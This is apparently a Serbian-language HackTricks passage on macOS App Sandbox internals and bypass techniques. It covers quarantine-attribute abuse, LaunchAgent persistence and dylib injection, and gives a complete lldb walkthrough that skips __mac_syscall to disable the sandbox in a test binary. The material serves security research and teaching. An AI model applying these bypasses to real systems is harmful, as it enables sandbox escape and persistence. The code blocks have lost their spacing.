U prethodnoj slici moguće je posmatrati kako će sandbox biti učitan kada se pokrene aplikacija sa ovlašćenjem com.apple.security.app-sandbox.
Kompajler će povezati /usr/lib/libSystem.B.dylib sa binarnim fajlom.
Zatim, libSystem.B će pozivati nekoliko drugih funkcija dok xpc_pipe_routine ne pošalje ovlašćenja aplikacije securityd. Securityd proverava da li proces treba da bude u karantinu unutar Sandbox-a, i ako je tako, biće stavljeni u karantinu.
Na kraju, sandbox će biti aktiviran pozivom __sandbox_ms koji će pozvati __mac_syscall.
Possible Bypasses
Bypassing quarantine attribute
Fajlovi kreirani od strane sandboxovanih procesa dobijaju atribut karantina kako bi se sprečilo bekstvo iz sandbox-a. Međutim, ako uspete da napravite .app folder bez atributa karantina unutar sandboxovane aplikacije, mogli biste da usmerite binarni paket aplikacije na /bin/bash i dodate neke env varijable u plist da zloupotrebite open kako biste pokrenuli novu aplikaciju bez sandbox-a.
Dakle, u ovom trenutku, ako ste samo sposobni da kreirate folder sa imenom koje se završava na .app bez atributa karantina, možete pobegnuti iz sandbox-a jer macOS samo proveravaatribut karantina u .app folderu i u glavnom izvršnom fajlu (a mi ćemo usmeriti glavni izvršni fajl na /bin/bash).
Imajte na umu da ako je .app paket već autorizovan za pokretanje (ima atribut karantina sa oznakom autorizacije za pokretanje), takođe biste mogli da ga zloupotrebite... osim što sada ne možete pisati unutar .app paketa osim ako nemate neka privilegovana TCC dozvola (koje nećete imati unutar sandbox-a visoko).
Čak i ako je aplikacija namenjena za sandbox (com.apple.security.app-sandbox), moguće je zaobići sandbox ako se izvrši iz LaunchAgent-a (~/Library/LaunchAgents), na primer.
Kao što je objašnjeno u ovom postu, ako želite da dobijete postojanost sa aplikacijom koja je sandboxovana, mogli biste da je automatski izvršite kao LaunchAgent i možda injektujete zloćudni kod putem DyLib varijabli okruženja.
Abusing Auto Start Locations
Ako sandboxovani proces može pisati na mestu gde kasnije nesandboxovana aplikacija planira da pokrene binarni fajl, moći će da pobegne jednostavno postavljanjem binarnog fajla tamo. Dobar primer ovakvih lokacija su ~/Library/LaunchAgents ili /System/Library/LaunchDaemons.
Za ovo možda čak i treba 2 koraka: Da se proces sa permisivnijim sandbox-om (file-read*, file-write*) izvrši vaš kod koji će zapravo pisati na mestu gde će biti izvršen bez sandbox-a.
Ako iz sandboxovanog procesa uspete da kompromitujete druge procese koji se izvršavaju u manje restriktivnim sandbox-ima (ili nijednom), moći ćete da pobegnete u njihove sandbox-e:
Ova istraživanja su otkrila 2 načina za zaobilaženje Sandbox-a. Zato što se sandbox primenjuje iz korisničkog prostora kada se libSystem biblioteka učita. Ako bi binarni fajl mogao da izbegne učitavanje, nikada ne bi bio sandboxovan:
Ako je binarni fajl potpuno statički kompajliran, mogao bi da izbegne učitavanje te biblioteke.
Ako binarni fajl ne bi trebao da učita nijednu biblioteku (jer je linker takođe u libSystem), ne bi trebao da učita libSystem.
Shellcodes
Imajte na umu da čak i shellcodes u ARM64 moraju biti povezani u libSystem.dylib:
# Compile itgcc-Xlinker-sectcreate-Xlinker__TEXT-Xlinker__info_plist-XlinkerInfo.plistsand.c-osand# Create a certificate for "Code Signing"# Apply the entitlements via signingcodesign-s<cert-name>--entitlementsentitlements.xmlsand
Aplikacija će pokušati da pročita datoteku ~/Desktop/del.txt, koju Sandbox neće dozvoliti.
Kreirajte datoteku tamo jer će, kada se Sandbox zaobiđe, moći da je pročita:
echo"Sandbox Bypassed">~/Desktop/del.txt
Hajde da debagujemo aplikaciju da vidimo kada se Sandbox učitava:
# Load app in debugginglldb./sand# Set breakpoint in xpc_pipe_routine(lldb) bxpc_pipe_routine# run(lldb) r# This breakpoint is reached by different functionalities# Check in the backtrace is it was de sandbox one the one that reached it# We are looking for the one libsecinit from libSystem.B, like the following one:(lldb) bt* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routineframe#1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584frame#2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64frame#3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80frame#4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272# To avoid lldb cutting info(lldb) settingssettarget.max-string-summary-length10000# The message is in the 2 arg of the xpc_pipe_routine function, get it with:(lldb) p (char *) xpc_copy_description($x1)(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored(lldb) registerreadx2x2=0x000000016fdfd660# Move until the end of the function(lldb) finish# Read the response## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY(lldb) memoryread-fp0x000000016fdfd660-c10x16fdfd660:0x0000600003d04000(lldb) p (char *) xpc_copy_description(0x0000600003d04000)(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)(lldb) breakpointset--name__mac_syscall--condition'($x1 == 0)'(lldb) c# The 1 arg is the name of the policy, in this case "Sandbox"(lldb) memoryread-fs $x00x19300eb22:"Sandbox"## BYPASS## Due to the previous bp, the process will be stopped in:Process2517stopped* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1frame#0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscalllibsystem_kernel.dylib`:-> 0x187659900<+0>:movx16,#0x17d0x187659904<+4>:svc#0x800x187659908<+8>:b.lo0x187659928 ; <+40>0x18765990c<+12>:pacibsp# To bypass jump to the b.lo address modifying some registers first(lldb) breakpointdelete1# Remove bp(lldb) registerwrite $pc 0x187659928#b.lo address(lldb) registerwrite $x0 0x00(lldb) registerwrite $x1 0x00(lldb) registerwrite $x16 0x17d(lldb) cProcess2517resumingSandboxBypassed!Process2517exitedwithstatus=0 (0x00000000)
Čak i kada je Sandbox zaobiđen, TCC će pitati korisnika da li želi da dozvoli procesu da čita datoteke sa radne površine